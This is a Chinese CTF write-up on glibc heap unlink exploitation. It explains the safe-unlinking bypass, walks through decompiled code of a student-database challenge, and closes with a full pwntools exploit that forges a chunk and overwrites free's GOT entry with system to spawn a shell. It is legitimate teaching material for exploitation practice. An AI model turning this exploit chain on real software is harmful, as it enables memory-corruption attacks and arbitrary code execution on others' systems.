堆溢出unlink的思路

unlink是说从链表从卸下一个节点。在free一块内存时,会查看该块前后相邻的两块是否空闲,如果空闲的话则把他们从原来的链表上卸载出来和当前块合并在一起。

在unlink是会有以下行为:

FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;

看样子只要构造P->fd和P->bk就能往任意位置写任意数据了。

but现在的glibc会对P->fd和P->bk进行一个验证,像这样:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
       malloc_printerr (check_action, "corrupted double-linked list", P, AV);

这样一来限制大了很多,需要找到一个保存了P地址的地址Q,使P->fd指向Q-sizeof(void*)*3,使P->bk指向Q-sizeof(void*)*2,在unlink时可以通过验证,把Q的值修改为Q-sizeof(void*)*3。

p8给了一道练习,貌似是杭电CTF里边的,做小学弟出的题心里也是爽爽的。

main里面是一个getchar,后面是个switch的样子,如果字符是’a’,’c’,’d’,则分别进入三个函数根据功能来看的话函数名应该叫add、change、delete。

add的f5代码如下:

__int64 add()
{
  int id; // eax@22
  unsigned __int8 i_length; // [sp+3h] [bp-3Dh]@7
  unsigned __int8 i_name_lengtha; // [sp+3h] [bp-3Dh]@13
  signed int i; // [sp+4h] [bp-3Ch]@1
  member_buffer *member; // [sp+8h] [bp-38h]@1
  char *buf; // [sp+10h] [bp-30h]@1
  char *src; // [sp+20h] [bp-20h]@13
  char *new_line; // [sp+28h] [bp-18h]@19
  char length[3]; // [sp+30h] [bp-10h]@7
  char v10; // [sp+33h] [bp-Dh]@13
  __int64 v11; // [sp+38h] [bp-8h]@1
  v11 = *MK_FP(__FS__, 40LL);
  member = malloc(0x95uLL);
  buf = malloc(0x200uLL);
  for ( i = 0; i <= 99 && LOBYTE(database[i].len); ++i )
    ;
  if ( i == 100 )
  {
    puts("Sorry, no place for a new student");
  }
  else
  {
    puts("Add a new student\n");
    printf("Show me student's information:");
    read(0, buf, 0x200uLL);
    length[0] = *buf;
    length[1] = buf[1];
    length[2] = 0;
    i_length = atoi(length);
    if ( i_length > 0x13u )
    {
      puts("Sorry you name is to long.");
      exit(0);
    }
    if ( !i_length )
    {
      puts("Must enter number");
      exit(0);
    }
    strncpy(&member->name, buf + 2, i_length);
    src = &buf[i_length + 2];
    *(&member->name + i_length) = 0;
    v10 = 0;
    length[1] = src[1];
    length[0] = *src;
    length[2] = src[2];
    i_name_lengtha = atoi(length);
    if ( (i_name_lengtha & 0x80u) != 0 )
    {
      puts("It's too long");
      exit(0);
    }
    if ( !i_name_lengtha )
    {
      puts("0 is not allow");
      exit(0);
    }
    strncpy(&member->description, src + 3, i_name_lengtha);
    new_line = strchr(&member->description, '\n');
    if ( new_line )
      *new_line = 0;
    else
      *(&member->description + i_name_lengtha) = 0;
    LOBYTE(database[i].len) = strlen(&member->description);
    free(buf);
    id = g_id++;
    database[i].id = id;
    database[i].member = member;
    printf("The student number is %d\n", database[i].id);
  }
  return *MK_FP(__FS__, 40LL) ^ v11;
}

关键在第二个atoi的地方,buffer的长度用一个uint8_t来保存,而且限制了最高位不能为1。另外在strncpy之后,判断如果字符串中有’\n’的话就在这里截断字符串,最后保存长度没有使用之前atoi的结果,而是又跑了一遍strlen。

这样就可以复用malloc之前留下来的脏数据,使buffer的长度超出限制。

还需要看一下change的代码。

int change()
{
  int result; // eax@7
  char len; // [sp+2h] [bp-1Eh]@8
  char c; // [sp+3h] [bp-1Dh]@9
  int n; // [sp+4h] [bp-1Ch]@1
  int j; // [sp+8h] [bp-18h]@8
  int i; // [sp+Ch] [bp-14h]@1
  __int64 v6; // [sp+10h] [bp-10h]@8
  char *description; // [sp+18h] [bp-8h]@8
  puts("So who's information you want to change");
  __isoc99_scanf("%d", &n);
  getchar();
  for ( i = 0; i <= 99 && (!LOBYTE(database[i].len) || database[i].id != n); ++i )
    ;
  if ( i == 100 )
  {
    result = puts("Sorry I can't find");
  }
  else
  {
    v6 = 16LL * i + 0x6020E0;
    len = database[i].len;
    description = &database[i].member->description;
    for ( j = 0; len != j; ++j )
    {
      c = getchar();
      if ( c == '\n' )
        break;
      description[j] = c;
    }
    description[j] = 0;
    result = puts("Success");
  }
  return result;
}

这里buffer的长度用一个char来保存,但是char是unsigned的,而char又需要和j比较,j是int,所以char需要扩展为int,符号位跟着一起扩展吧,add时如果长度大于80,于是len变成了0xFFFFFFXX。这么大一个长度,足够写任意东西了。

全局变量database[i].member指向这个buffer,构造一个chunk出来进行unlink,就可以把buffer指针修改为&database[i].member-0x18。

再次调用change,就可以修改member指针了,把它改成GOT表的地址。

再次调用change,就可以修改GOT表项了。随便改一个就可以控制RIP指针,然而程序开了NX,能写的区域都不能执行,所以最后的做法是把free的地址改成system。在free一个”/bin/sh”时就会调起一个shell,exp如下:

#! /usr/bin/env python2
import sys
import pwn
io = pwn.process('./pwn')
for i in range(4):
    io.send('a\n' + ('19' + '/bin/sh' + '\x00'*12 + '127' + 'b'*127 + '\n' + 'c'*0x200)[0:0x200])
io.send('c\n1\n' + 'A'*124 + '\x00' * 8 + '\xb1\x00\x00\x00\x00\x00\x00\x00' + '\x00' * 0xa0 + '\x00' * 8 + '\x21\x00\x00\x00\x00\x00\x00\x00' + '\x00\x21\x60\x00\x00\x00\x00\x00' + '\x08\x21\x60\x00\x00\x00\x00\x00' + '\x20\x00\x00\x00\x00\x00\x00\x00' * 2 + '\n')
io.send('d\n2\n')
io.send('c\n3\n' + 'A'*12 + '\x04\x00\x00\x00\x80\x00\x00\x00' + '\x04\x20\x60\x00\x00\x00\x00\x00' + '\n')
io.send('c\n4\n' + '\x90\x68\xa7\xf7\xff\x7f\x00\x00' + '\n')
io.send('d\n0\n')
io.interactive()
我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章